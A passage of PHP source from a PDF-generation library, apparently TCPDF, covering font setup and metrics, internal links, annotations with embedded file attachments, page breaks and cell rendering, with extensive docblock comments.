$cw[32]; } else { $dw = 600; } } ++$this->numfonts; if ($type == 'core') { $name = $this->CoreFonts[$fontkey]; $subset = false; } elseif (($type == 'TrueType') OR ($type == 'Type1')) { $subset = false; } elseif ($type == 'TrueTypeUnicode') { $enc = 'Identity-H'; } elseif ($type == 'cidfont0') { if ($this->pdfa_mode) { $this->Error('All fonts must be embedded in PDF/A mode!'); } } else { $this->Error('Unknow font type: '.$type.''); } // set name if unset if (!isset($name) OR empty($name)) { $name = $fontkey; } // create artificial font style variations if missing (only works with non-embedded fonts) if (($type != 'core') AND $missing_style) { // style variations $styles = array('' => '', 'B' => ',Bold', 'I' => ',Italic', 'BI' => ',BoldItalic'); $name .= $styles[$bistyle]; // artificial bold if (strpos($bistyle, 'B') !== false) { if (isset($desc['StemV'])) { // from normal to bold $desc['StemV'] = round($desc['StemV'] * 1.75); } else { // bold $desc['StemV'] = 123; } } // artificial italic if (strpos($bistyle, 'I') !== false) { if (isset($desc['ItalicAngle'])) { $desc['ItalicAngle'] -= 11; } else { $desc['ItalicAngle'] = -11; } if (isset($desc['Flags'])) { $desc['Flags'] |= 64; //bit 7 } else { $desc['Flags'] = 64; } } } // check if the array of characters bounding boxes is defined if (!isset($cbbox)) { $cbbox = array(); } // initialize subsetchars $subsetchars = array_fill(0, 255, true); $this->setFontBuffer($fontkey, array('fontkey' => $fontkey, 'i' => $this->numfonts, 'type' => $type, 'name' => $name, 'desc' => $desc, 'up' => $up, 'ut' => $ut, 'cw' => $cw, 'cbbox' => $cbbox, 'dw' => $dw, 'enc' => $enc, 'cidinfo' => $cidinfo, 'file' => $file, 'ctg' => $ctg, 'subset' => $subset, 'subsetchars' => $subsetchars)); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['fonts'][$fontkey] = $this->numfonts; } if (isset($diff) AND (!empty($diff))) { //Search existing encodings $d = 0; $nb = count($this->diffs); for ($i=1; $i <= $nb; ++$i) { if ($this->diffs[$i] == $diff) { $d = $i; break; } } if ($d == 0) { $d = $nb + 1; $this->diffs[$d] = $diff; } $this->setFontSubBuffer($fontkey, 'diff', $d); } if (!$this->empty_string($file)) { if (!isset($this->FontFiles[$file])) { if ((strcasecmp($type,'TrueType') == 0) OR (strcasecmp($type, 'TrueTypeUnicode') == 0)) { $this->FontFiles[$file] = array('length1' => $originalsize, 'fontdir' => $fontdir, 'subset' => $subset, 'fontkeys' => array($fontkey)); } elseif ($type != 'core') { $this->FontFiles[$file] = array('length1' => $size1, 'length2' => $size2, 'fontdir' => $fontdir, 'subset' => $subset, 'fontkeys' => array($fontkey)); } } else { // update fontkeys that are sharing this font file $this->FontFiles[$file]['subset'] = ($this->FontFiles[$file]['subset'] AND $subset); if (!in_array($fontkey, $this->FontFiles[$file]['fontkeys'])) { $this->FontFiles[$file]['fontkeys'][] = $fontkey; } } } return $fontdata; } /** * Sets the font used to print character strings. * The font can be either a standard one or a font added via the AddFont() method. Standard fonts use Windows encoding cp1252 (Western Europe). * The method can be called before the first page is created and the font is retained from page to page. * If you just wish to change the current font size, it is simpler to call SetFontSize(). * Note: for the standard fonts, the font metric files must be accessible. There are three possibilities for this:<ul><li>They are in the current directory (the one where the running script lies)</li><li>They are in one of the directories defined by the include_path parameter</li><li>They are in the directory defined by the K_PATH_FONTS constant</li></ul><br /> * @param $family (string) Family font. It can be either a name defined by AddFont() or one of the standard Type1 families (case insensitive):<ul><li>times (Times-Roman)</li><li>timesb (Times-Bold)</li><li>timesi (Times-Italic)</li><li>timesbi (Times-BoldItalic)</li><li>helvetica (Helvetica)</li><li>helveticab (Helvetica-Bold)</li><li>helveticai (Helvetica-Oblique)</li><li>helveticabi (Helvetica-BoldOblique)</li><li>courier (Courier)</li><li>courierb (Courier-Bold)</li><li>courieri (Courier-Oblique)</li><li>courierbi (Courier-BoldOblique)</li><li>symbol (Symbol)</li><li>zapfdingbats (ZapfDingbats)</li></ul> It is also possible to pass an empty string. In that case, the current family is retained. * @param $style (string) Font style. Possible values are (case insensitive):<ul><li>empty string: regular</li><li>B: bold</li><li>I: italic</li><li>U: underline</li><li>D: line trough</li><li>O: overline</li></ul> or any combination. The default value is regular. Bold and italic styles do not apply to Symbol and ZapfDingbats basic fonts or other fonts when not defined. * @param $size (float) Font size in points. The default value is the current size. If no size has been specified since the beginning of the document, the value taken is 12 * @param $fontfile (string) The font definition file. By default, the name is built from the family and style, in lower case with no spaces. * @param $subset (mixed) if true embedd only a subset of the font (stores only the information related to the used characters); if false embedd full font; if 'default' uses the default value set using setFontSubsetting(). This option is valid only for TrueTypeUnicode fonts. If you want to enable users to change the document, set this parameter to false. If you subset the font, the person who receives your PDF would need to have your same font in order to make changes to your PDF. The file size of the PDF would also be smaller because you are embedding only part of a font. * @param $out (boolean) if true output the font size command, otherwise only set the font properties. * @author Nicola Asuni * @public * @since 1.0 * @see AddFont(), SetFontSize() */ public function SetFont($family, $style='', $size=null, $fontfile='', $subset='default', $out=true) { //Select a font; size given in points if ($size === null) { $size = $this->FontSizePt; } if ($size < 0) { $size = 0; } // try to add font (if not already added) $fontdata = $this->AddFont($family, $style, $fontfile, $subset); $this->FontFamily = $fontdata['family']; $this->FontStyle = $fontdata['style']; $this->CurrentFont = $this->getFontBuffer($fontdata['fontkey']); $this->SetFontSize($size, $out); } /** * Defines the size of the current font. * @param $size (float) The font size in points. * @param $out (boolean) if true output the font size command, otherwise only set the font properties. * @public * @since 1.0 * @see SetFont() */ public function SetFontSize($size, $out=true) { // font size in points $this->FontSizePt = $size; // font size in user units $this->FontSize = $size / $this->k; // calculate some font metrics if (isset($this->CurrentFont['desc']['FontBBox'])) { $bbox = explode(' ', substr($this->CurrentFont['desc']['FontBBox'], 1, -1)); $font_height = ((intval($bbox[3]) - intval($bbox[1])) * $size / 1000); } else { $font_height = $size * 1.219; } if (isset($this->CurrentFont['desc']['Ascent']) AND ($this->CurrentFont['desc']['Ascent'] > 0)) { $font_ascent = ($this->CurrentFont['desc']['Ascent'] * $size / 1000); } if (isset($this->CurrentFont['desc']['Descent']) AND ($this->CurrentFont['desc']['Descent'] <= 0)) { $font_descent = (- $this->CurrentFont['desc']['Descent'] * $size / 1000); } if (!isset($font_ascent) AND !isset($font_descent)) { // core font $font_ascent = 0.76 * $font_height; $font_descent = $font_height - $font_ascent; } elseif (!isset($font_descent)) { $font_descent = $font_height - $font_ascent; } elseif (!isset($font_ascent)) { $font_ascent = $font_height - $font_descent; } $this->FontAscent = ($font_ascent / $this->k); $this->FontDescent = ($font_descent / $this->k); if ($out AND ($this->page > 0) AND (isset($this->CurrentFont['i'])) AND ($this->state == 2)) { $this->_out(sprintf('BT /F%d %F Tf ET', $this->CurrentFont['i'], $this->FontSizePt)); } } /** * Returns the bounding box of the current font in user units. * @return array * @public * @since 5.9.152 (2012-03-23) */ public function getFontBBox() { $fbbox = array(); if (isset($this->CurrentFont['desc']['FontBBox'])) { $tmpbbox = explode(' ', substr($this->CurrentFont['desc']['FontBBox'], 1, -1)); $fbbox = array_map(array($this,'getAbsFontMeasure'), $tmpbbox); } else { // Find max width if (isset($this->CurrentFont['desc']['MaxWidth'])) { $maxw = $this->getAbsFontMeasure(intval($this->CurrentFont['desc']['MaxWidth'])); } else { $maxw = 0; if (isset($this->CurrentFont['desc']['MissingWidth'])) { $maxw = max($maxw, $this->CurrentFont['desc']['MissingWidth']); } if (isset($this->CurrentFont['desc']['AvgWidth'])) { $maxw = max($maxw, $this->CurrentFont['desc']['AvgWidth']); } if (isset($this->CurrentFont['dw'])) { $maxw = max($maxw, $this->CurrentFont['dw']); } foreach ($this->CurrentFont['cw'] as $char => $w) { $maxw = max($maxw, $w); } if ($maxw == 0) { $maxw = 600; } $maxw = $this->getAbsFontMeasure($maxw); } $fbbox = array(0, -$this->FontDescent, $maxw, $this->FontAscent); } return $fbbox; } /** * Convert a relative font measure into absolute value. * @param $s (int) Font measure. * @return float Absolute measure. * @since 5.9.186 (2012-09-13) */ public function getAbsFontMeasure($s) { return ($s * $this->FontSize / 1000); } /** * Returns the glyph bounding box of the specified character in the current font in user units. * @param $char (int) Input character code. * @return mixed array(xMin, yMin, xMax, yMax) or FALSE if not defined. * @since 5.9.186 (2012-09-13) */ public function getCharBBox($char) { if (isset($this->CurrentFont['cbbox'][$char])) { return array_map(array($this,'getAbsFontMeasure'), $this->CurrentFont['cbbox'][intval($char)]); } return false; } /** * Return the font descent value * @param $font (string) font name * @param $style (string) font style * @param $size (float) The size (in points) * @return int font descent * @public * @author Nicola Asuni * @since 4.9.003 (2010-03-30) */ public function getFontDescent($font, $style='', $size=0) { $fontdata = $this->AddFont($font, $style); $fontinfo = $this->getFontBuffer($fontdata['fontkey']); if (isset($fontinfo['desc']['Descent']) AND ($fontinfo['desc']['Descent'] <= 0)) { $descent = (- $fontinfo['desc']['Descent'] * $size / 1000); } else { $descent = (1.219 * 0.24 * $size); } return ($descent / $this->k); } /** * Return the font ascent value. * @param $font (string) font name * @param $style (string) font style * @param $size (float) The size (in points) * @return int font ascent * @public * @author Nicola Asuni * @since 4.9.003 (2010-03-30) */ public function getFontAscent($font, $style='', $size=0) { $fontdata = $this->AddFont($font, $style); $fontinfo = $this->getFontBuffer($fontdata['fontkey']); if (isset($fontinfo['desc']['Ascent']) AND ($fontinfo['desc']['Ascent'] > 0)) { $ascent = ($fontinfo['desc']['Ascent'] * $size / 1000); } else { $ascent = 1.219 * 0.76 * $size; } return ($ascent / $this->k); } /** * Return true in the character is present in the specified font. * @param $char (mixed) Character to check (integer value or string) * @param $font (string) Font name (family name). * @param $style (string) Font style. * @return (boolean) true if the char is defined, false otherwise. * @public * @since 5.9.153 (2012-03-28) */ public function isCharDefined($char, $font='', $style='') { if (is_string($char)) { // get character code $char = $this->UTF8StringToArray($char); $char = $char[0]; } if ($this->empty_string($font)) { if ($this->empty_string($style)) { return (isset($this->CurrentFont['cw'][intval($char)])); } $font = $this->FontFamily; } $fontdata = $this->AddFont($font, $style); $fontinfo = $this->getFontBuffer($fontdata['fontkey']); return (isset($fontinfo['cw'][intval($char)])); } /** * Replace missing font characters on selected font with specified substitutions. * @param $text (string) Text to process. * @param $font (string) Font name (family name). * @param $style (string) Font style. * @param $subs (array) Array of possible character substitutions. The key is the character to check (integer value) and the value is a single intege value or an array of possible substitutes. * @return (string) Processed text. * @public * @since 5.9.153 (2012-03-28) */ public function replaceMissingChars($text, $font='', $style='', $subs=array()) { if (empty($subs)) { return $text; } if ($this->empty_string($font)) { $font = $this->FontFamily; } $fontdata = $this->AddFont($font, $style); $fontinfo = $this->getFontBuffer($fontdata['fontkey']); $uniarr = $this->UTF8StringToArray($text); foreach ($uniarr as $k => $chr) { if (!isset($fontinfo['cw'][$chr])) { // this character is missing on the selected font if (isset($subs[$chr])) { // we have available substitutions if (is_array($subs[$chr])) { foreach($subs[$chr] as $s) { if (isset($fontinfo['cw'][$s])) { $uniarr[$k] = $s; break; } } } elseif (isset($fontinfo['cw'][$subs[$chr]])) { $uniarr[$k] = $subs[$chr]; } } } } return $this->UniArrSubString($this->UTF8ArrayToUniArray($uniarr)); } /** * Defines the default monospaced font. * @param $font (string) Font name. * @public * @since 4.5.025 */ public function SetDefaultMonospacedFont($font) { $this->default_monospaced_font = $font; } /** * Creates a new internal link and returns its identifier. An internal link is a clickable area which directs to another place within the document.<br /> * The identifier can then be passed to Cell(), Write(), Image() or Link(). The destination is defined with SetLink(). * @public * @since 1.5 * @see Cell(), Write(), Image(), Link(), SetLink() */ public function AddLink() { //Create a new internal link $n = count($this->links) + 1; $this->links[$n] = array(0, 0); return $n; } /** * Defines the page and position a link points to. * @param $link (int) The link identifier returned by AddLink() * @param $y (float) Ordinate of target position; -1 indicates the current position. The default value is 0 (top of page) * @param $page (int) Number of target page; -1 indicates the current page. This is the default value * @public * @since 1.5 * @see AddLink() */ public function SetLink($link, $y=0, $page=-1) { if ($y == -1) { $y = $this->y; } if ($page == -1) { $page = $this->page; } $this->links[$link] = array($page, $y); } /** * Puts a link on a rectangular area of the page. * Text or image links are generally put via Cell(), Write() or Image(), but this method can be useful for instance to define a clickable area inside an image. * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $w (float) Width of the rectangle * @param $h (float) Height of the rectangle * @param $link (mixed) URL or identifier returned by AddLink() * @param $spaces (int) number of spaces on the text to link * @public * @since 1.5 * @see AddLink(), Annotation(), Cell(), Write(), Image() */ public function Link($x, $y, $w, $h, $link, $spaces=0) { $this->Annotation($x, $y, $w, $h, $link, array('Subtype'=>'Link'), $spaces); } /** * Check if the URL exist. * @param $ur (string) URL to check. * @return Boolean true if the URl exist, false otherwise. * @public * @since 5.9.204 (2013-01-28) */ public function isValidURL($url) { $headers = @get_headers($url); return (strpos($headers[0], '200') !== false); } /** * Puts a markup annotation on a rectangular area of the page. * !!!!THE ANNOTATION SUPPORT IS NOT YET FULLY IMPLEMENTED !!!! * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $w (float) Width of the rectangle * @param $h (float) Height of the rectangle * @param $text (string) annotation text or alternate content * @param $opt (array) array of options (see section 8.4 of PDF reference 1.7). * @param $spaces (int) number of spaces on the text to link * @public * @since 4.0.018 (2008-08-06) */ public function Annotation($x, $y, $w, $h, $text, $opt=array('Subtype'=>'Text'), $spaces=0) { if ($this->inxobj) { // store parameters for later use on template $this->xobjects[$this->xobjid]['annotations'][] = array('x' => $x, 'y' => $y, 'w' => $w, 'h' => $h, 'text' => $text, 'opt' => $opt, 'spaces' => $spaces); return; } if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); // recalculate coordinates to account for graphic transformations if (isset($this->transfmatrix) AND !empty($this->transfmatrix)) { for ($i=$this->transfmatrix_key; $i > 0; --$i) { $maxid = count($this->transfmatrix[$i]) - 1; for ($j=$maxid; $j >= 0; --$j) { $ctm = $this->transfmatrix[$i][$j]; if (isset($ctm['a'])) { $x = $x * $this->k; $y = ($this->h - $y) * $this->k; $w = $w * $this->k; $h = $h * $this->k; // top left $xt = $x; $yt = $y; $x1 = ($ctm['a'] * $xt) + ($ctm['c'] * $yt) + $ctm['e']; $y1 = ($ctm['b'] * $xt) + ($ctm['d'] * $yt) + $ctm['f']; // top right $xt = $x + $w; $yt = $y; $x2 = ($ctm['a'] * $xt) + ($ctm['c'] * $yt) + $ctm['e']; $y2 = ($ctm['b'] * $xt) + ($ctm['d'] * $yt) + $ctm['f']; // bottom left $xt = $x; $yt = $y - $h; $x3 = ($ctm['a'] * $xt) + ($ctm['c'] * $yt) + $ctm['e']; $y3 = ($ctm['b'] * $xt) + ($ctm['d'] * $yt) + $ctm['f']; // bottom right $xt = $x + $w; $yt = $y - $h; $x4 = ($ctm['a'] * $xt) + ($ctm['c'] * $yt) + $ctm['e']; $y4 = ($ctm['b'] * $xt) + ($ctm['d'] * $yt) + $ctm['f']; // new coordinates (rectangle area) $x = min($x1, $x2, $x3, $x4); $y = max($y1, $y2, $y3, $y4); $w = (max($x1, $x2, $x3, $x4) - $x) / $this->k; $h = ($y - min($y1, $y2, $y3, $y4)) / $this->k; $x = $x / $this->k; $y = $this->h - ($y / $this->k); } } } } if ($this->page <= 0) { $page = 1; } else { $page = $this->page; } if (!isset($this->PageAnnots[$page])) { $this->PageAnnots[$page] = array(); } $this->PageAnnots[$page][] = array('n' => ++$this->n, 'x' => $x, 'y' => $y, 'w' => $w, 'h' => $h, 'txt' => $text, 'opt' => $opt, 'numspaces' => $spaces); if (!$this->pdfa_mode) { if ((($opt['Subtype'] == 'FileAttachment') OR ($opt['Subtype'] == 'Sound')) AND (!$this->empty_string($opt['FS'])) AND (file_exists($opt['FS']) OR $this->isValidURL($opt['FS'])) AND (!isset($this->embeddedfiles[basename($opt['FS'])]))) { $this->embeddedfiles[basename($opt['FS'])] = array('f' => ++$this->n, 'n' => ++$this->n, 'file' => $opt['FS']); } } // Add widgets annotation's icons if (isset($opt['mk']['i']) AND file_exists($opt['mk']['i'])) { $this->Image($opt['mk']['i'], '', '', 10, 10, '', '', '', false, 300, '', false, false, 0, false, true); } if (isset($opt['mk']['ri']) AND file_exists($opt['mk']['ri'])) { $this->Image($opt['mk']['ri'], '', '', 0, 0, '', '', '', false, 300, '', false, false, 0, false, true); } if (isset($opt['mk']['ix']) AND file_exists($opt['mk']['ix'])) { $this->Image($opt['mk']['ix'], '', '', 0, 0, '', '', '', false, 300, '', false, false, 0, false, true); } } /** * Embedd the attached files. * @since 4.4.000 (2008-12-07) * @protected * @see Annotation() */ protected function _putEmbeddedFiles() { if ($this->pdfa_mode) { // embedded files are not allowed in PDF/A mode return; } reset($this->embeddedfiles); foreach ($this->embeddedfiles as $filename => $filedata) { // update name tree $this->efnames[$filename] = $filedata['f'].' 0 R'; // embedded file specification object $out = $this->_getobj($filedata['f'])."\n"; $out .= '<</Type /Filespec /F '.$this->_datastring($filename, $filedata['f']).' /EF <</F '.$filedata['n'].' 0 R>> >>'; $out .= "\n".'endobj'; $this->_out($out); // embedded file object $data = file_get_contents($filedata['file']); $filter = ''; $rawsize = strlen($data); if ($this->compress) { $data = gzcompress($data); $filter = ' /Filter /FlateDecode'; } $stream = $this->_getrawstream($data, $filedata['n']); $out = $this->_getobj($filedata['n'])."\n"; $out .= '<< /Type /EmbeddedFile'.$filter.' /Length '.strlen($stream).' /Params <</Size '.$rawsize.'>> >>'; $out .= ' stream'."\n".$stream."\n".'endstream'; $out .= "\n".'endobj'; $this->_out($out); } } /** * Prints a text cell at the specified position. * This method allows to place a string precisely on the page. * @param $x (float) Abscissa of the cell origin * @param $y (float) Ordinate of the cell origin * @param $txt (string) String to print * @param $fstroke (int) outline size in user units (false = disable) * @param $fclip (boolean) if true activate clipping mode (you must call StartTransform() before this function and StopTransform() to stop the clipping tranformation). * @param $ffill (boolean) if true fills the text * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $ln (int) Indicates where the current position should go after the call. Possible values are:<ul><li>0: to the right (or left for RTL languages)</li><li>1: to the beginning of the next line</li><li>2: below</li></ul>Putting 1 is equivalent to putting 0 and calling Ln() just after. Default value: 0. * @param $align (string) Allows to center or align the text. Possible values are:<ul><li>L or empty string: left align (default value)</li><li>C: center</li><li>R: right align</li><li>J: justify</li></ul> * @param $fill (boolean) Indicates if the cell background must be painted (true) or transparent (false). * @param $link (mixed) URL or identifier returned by AddLink(). * @param $stretch (int) font stretch mode: <ul><li>0 = disabled</li><li>1 = horizontal scaling only if text is larger than cell width</li><li>2 = forced horizontal scaling to fit cell width</li><li>3 = character spacing only if text is larger than cell width</li><li>4 = forced character spacing to fit cell width</li></ul> General font stretching and scaling values will be preserved when possible. * @param $ignore_min_height (boolean) if true ignore automatic minimum height value. * @param $calign (string) cell vertical alignment relative to the specified Y value. Possible values are:<ul><li>T : cell top</li><li>A : font top</li><li>L : font baseline</li><li>D : font bottom</li><li>B : cell bottom</li></ul> * @param $valign (string) text vertical alignment inside the cell. Possible values are:<ul><li>T : top</li><li>C : center</li><li>B : bottom</li></ul> * @param $rtloff (boolean) if true uses the page top-left corner as origin of axis for $x and $y initial position. * @public * @since 1.0 * @see Cell(), Write(), MultiCell(), WriteHTML(), WriteHTMLCell() */ public function Text($x, $y, $txt, $fstroke=false, $fclip=false, $ffill=true, $border=0, $ln=0, $align='', $fill=false, $link='', $stretch=0, $ignore_min_height=false, $calign='T', $valign='M', $rtloff=false) { $textrendermode = $this->textrendermode; $textstrokewidth = $this->textstrokewidth; $this->setTextRenderingMode($fstroke, $ffill, $fclip); $this->SetXY($x, $y, $rtloff); $this->Cell(0, 0, $txt, $border, $ln, $align, $fill, $link, $stretch, $ignore_min_height, $calign, $valign); // restore previous rendering mode $this->textrendermode = $textrendermode; $this->textstrokewidth = $textstrokewidth; } /** * Whenever a page break condition is met, the method is called, and the break is issued or not depending on the returned value. * The default implementation returns a value according to the mode selected by SetAutoPageBreak().<br /> * This method is called automatically and should not be called directly by the application. * @return boolean * @public * @since 1.4 * @see SetAutoPageBreak() */ public function AcceptPageBreak() { if ($this->num_columns > 1) { // multi column mode if ($this->current_column < ($this->num_columns - 1)) { // go to next column $this->selectColumn($this->current_column + 1); } elseif ($this->AutoPageBreak) { // add a new page $this->AddPage(); // set first column $this->selectColumn(0); } // avoid page breaking from checkPageBreak() return false; } return $this->AutoPageBreak; } /** * Add page if needed. * @param $h (float) Cell height. Default value: 0. * @param $y (mixed) starting y position, leave empty for current position. * @param $addpage (boolean) if true add a page, otherwise only return the true/false state * @return boolean true in case of page break, false otherwise. * @since 3.2.000 (2008-07-01) * @protected */ protected function checkPageBreak($h=0, $y='', $addpage=true) { if ($this->empty_string($y)) { $y = $this->y; } $current_page = $this->page; if ((($y + $h) > $this->PageBreakTrigger) AND ($this->inPageBody()) AND ($this->AcceptPageBreak())) { if ($addpage) { //Automatic page break $x = $this->x; $this->AddPage($this->CurOrientation); $this->y = $this->tMargin; $oldpage = $this->page - 1; if ($this->rtl) { if ($this->pagedim[$this->page]['orm'] != $this->pagedim[$oldpage]['orm']) { $this->x = $x - ($this->pagedim[$this->page]['orm'] - $this->pagedim[$oldpage]['orm']); } else { $this->x = $x; } } else { if ($this->pagedim[$this->page]['olm'] != $this->pagedim[$oldpage]['olm']) { $this->x = $x + ($this->pagedim[$this->page]['olm'] - $this->pagedim[$oldpage]['olm']); } else { $this->x = $x; } } } return true; } if ($current_page != $this->page) { // account for columns mode return true; } return false; } /** * Removes SHY characters from text. * Unicode Data:<ul> * <li>Name : SOFT HYPHEN, commonly abbreviated as SHY</li> * <li>HTML Entity (decimal): "&#173;"</li> * <li>HTML Entity (hex): "&#xad;"</li> * <li>HTML Entity (named): "&shy;"</li> * <li>How to type in Microsoft Windows: [Alt +00AD] or [Alt 0173]</li> * <li>UTF-8 (hex): 0xC2 0xAD (c2ad)</li> * <li>UTF-8 character: chr(194).chr(173)</li> * </ul> * @param $txt (string) input string * @return string without SHY characters. * @public * @since (4.5.019) 2009-02-28 */ public function removeSHY($txt='') { $txt = preg_replace('/([\\xc2]{1}[\\xad]{1})/', '', $txt); if (!$this->isunicode) { $txt = preg_replace('/([\\xad]{1})/', '', $txt); } return $txt; } /** * Prints a cell (rectangular area) with optional borders, background color and character string. The upper-left corner of the cell corresponds to the current position. The text can be aligned or centered. After the call, the current position moves to the right or to the next line. It is possible to put a link on the text.<br /> * If automatic page breaking is enabled and the cell goes beyond the limit, a page break is done before outputting. * @param $w (float) Cell width. If 0, the cell extends up to the right margin. * @param $h (float) Cell height. Default value: 0. * @param $txt (string) String to print. Default value: empty string. * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $ln (int) Indicates where the current position should go after the call. Possible values are:<ul><li>0: to the right (or left for RTL languages)</li><li>1: to the beginning of the next line</li><li>2: below</li></ul> Putting 1 is equivalent to putting 0 and calling Ln() just after. Default value: 0. * @param $align (string) Allows to center or align the text. Possible values are:<ul><li>L or empty string: left align (default value)</li><li>C: center</li><li>R: right align</li><li>J: justify</li></ul> * @param $fill (boolean) Indicates if the cell background must be painted (true) or transparent (false). * @param $link (mixed) URL or identifier returned by AddLink(). * @param $stretch (int) font stretch mode: <ul><li>0 = disabled</li><li>1 = horizontal scaling only if text is larger than cell width</li><li>2 = forced horizontal scaling to fit cell width</li><li>3 = character spacing only if text is larger than cell width</li><li>4 = forced character spacing to fit cell width</li></ul> General font stretching and scaling values will be preserved when possible. * @param $ignore_min_height (boolean) if true ignore automatic minimum height value. * @param $calign (string) cell vertical alignment relative to the specified Y value. Possible values are:<ul><li>T : cell top</li><li>C : center</li><li>B : cell bottom</li><li>A : font top</li><li>L : font baseline</li><li>D : font bottom</li></ul> * @param $valign (string) text vertical alignment inside the cell. Possible values are:<ul><li>T : top</li><li>C : center</li><li>B : bottom</li></ul> * @public * @since 1.0 * @see SetFont(), SetDrawColor(), SetFillColor(), SetTextColor(), SetLineWidth(), AddLink(), Ln(), MultiCell(), Write(), SetAutoPageBreak() */ public function Cell($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='', $stretch=0, $ignore_min_height=false, $calign='T', $valign='M') { $prev_cell_margin = $this->cell_margin; $prev_cell_padding = $this->cell_padding; $this->adjustCellPadding($border); if (!$ignore_min_height) { $min_cell_height = ($this->FontSize * $this->cell_height_ratio) + $this->cell_padding['T'] + $this->cell_padding['B']; if ($h < $min_cell_height) { $h = $min_cell_height; } } $this->checkPageBreak($h + $this->cell_margin['T'] + $this->cell_margin['B']); // apply text shadow if enabled if ($this->txtshadow['enabled']) { // save data $x = $this->x; $y = $this->y; $bc = $this->bgcolor; $fc = $this->fgcolor; $sc = $this->strokecolor; $alpha = $this->alpha; // print shadow $this->x += $this->txtshadow['depth_w']; $this->y += $this->txtshadow['depth_h']; $this->SetFillColorArray($this->txtshadow['color']); $this->SetTextColorArray($this->txtshadow['color']); $this->SetDrawColorArray($this->txtshadow['color']); if ($this->txtshadow['opacity'] != $alpha['CA']) { $this->setAlpha($this->txtshadow['opacity'], $this->txtshadow['blend_mode']); } if ($this->state == 2) { $this->_out($this->getCellCode($w, $h, $txt, $border, $ln, $align, $fill, $link, $stretch, true, $calign, $valign)); } //restore data $this->x = $x; $this->y = $y; $this->SetFillColorArray($bc); $this->SetTextColorArray($fc); $this->SetDrawColorArray($sc); if ($this->txtshadow['opacity'] != $alpha['CA']) { $this->setAlpha($alpha['CA'], $alpha['BM'], $alpha['ca'], $alpha['AIS']); } } if ($this->state == 2) { $this->_out($this->getCellCode($w, $h, $txt, $border, $ln, $align, $fill, $link, $stretch, true, $calign, $valign)); } $this->cell_padding = $prev_cell_padding; $this->cell_margin = $prev_cell_margin; } /** * Returns the PDF string code to print a cell (rectangular area) with optional borders, background color and character string. The upper-left corner of the cell corresponds to the current position. The text can be aligned or centered. After the call, the current position moves to the right or to the next line. It is possible to put a link on the text.<br /> * If automatic page breaking is enabled and the cell goes beyond the limit, a page break is done before outputting. * @param $w (float) Cell width. If 0, the cell extends up to the right margin. * @param $h (float) Cell height. Default value: 0. * @param $txt (string) String to print. Default value: empty string. * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $ln (int) Indicates where the current position should go after the call. Possible values are:<ul><li>0: to the right (or left for RTL languages)</li><li>1: to the beginning of the next line</li><li>2: below</li></ul>Putting 1 is equivalent to putting 0 and calling Ln() just after. Default value: 0. * @param $align (string) Allows to center or align the text. Possible values are:<ul><li>L or empty string: left align (default value)</li><li>C: center</li><li>R: right align</li><li>J: justify</li></ul> * @param $fill (boolean) Indicates if the cell background must be painted (true) or transparent (false). * @param $link (mixed) URL or identifier returned by AddLink(). * @param $stretch (int) font stretch mode: <ul><li>0 = disabled</li><li>1 = horizontal scaling only if text is larger than cell width</li><li>2 = forced horizontal scaling to fit cell width</li><li>3 = character spacing only if text is larger than cell width</li><li>4 = forced character spacing to fit cell width</li></ul> General font stretching and scaling values will be preserved when possible. * @param $ignore_min_height (boolean) if true ignore automatic minimum height value. * @param $calign (string) cell vertical alignment relative to the specified Y value. Possible values are:<ul><li>T : cell top</li><li>C : center</li><li>B : cell bottom</li><li>A : font top</li><li>L : font baseline</li><li>D : font bottom</li></ul> * @param $valign (string) text vertical alignment inside the cell. Possible values are:<ul><li>T : top</li><li>M : middle</li><li>B : bottom</li></ul> * @return string containing cell code * @protected * @since 1.0 * @see Cell() */ protected function getCellCode($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='', $stretch=0, $ignore_min_height=false, $calign='T', $valign='M') { // replace 'NO-BREAK SPACE' (U+00A0) character with a simple space $txt = str_replace($this->unichr(160), ' ', $txt); $prev_cell_margin = $this->cell_margin; $prev_cell_padding = $this->cell_padding; $txt = $this->removeSHY($txt); $rs = ''; //string to be returned $this->adjustCellPadding($border); if (!$ignore_min_height) { $min_cell_height = ($this->FontSize * $this->cell_height_ratio) + $this->cell_padding['T'] + $this->cell_padding['B']; if ($h < $min_cell_height) { $h = $min_cell_height; } } $k = $this->k; // check page for no-write regions and adapt page margins if necessary list($this->x, $this->y) = $this->checkPageRegions($h, $this->x, $this->y); if ($this->rtl) { $x = $this->x - $this->cell_margin['R']; } else { $x = $this->x + $this->cell_margin['L']; } $y = $this->y + $this->cell_margin['T']; $prev_font_stretching = $this->font_stretching; $prev_font_spacing = $this->font_spacing; // cell vertical alignment switch ($calign) { case 'A': { // font top switch ($valign) { case 'T': { // top $y -= $this->cell_padding['T']; break; } case 'B': { // bottom $y -= ($h - $this->cell_padding['B'] - $this->FontAscent - $this->FontDescent); break; } default: case 'C': case 'M': { // center $y -= (($h - $this->FontAscent - $this->FontDescent) / 2); 